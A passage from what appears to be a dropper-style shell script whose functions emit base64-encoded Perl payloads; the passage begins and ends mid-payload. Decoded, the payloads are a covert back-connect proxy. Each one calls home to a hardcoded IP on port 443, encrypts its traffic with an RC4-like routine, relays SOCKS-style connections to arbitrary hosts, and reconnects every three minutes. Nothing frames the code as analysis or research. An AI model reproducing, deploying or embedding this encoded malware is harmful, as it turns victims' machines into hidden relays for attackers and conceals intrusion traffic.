Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_41() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_42() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg 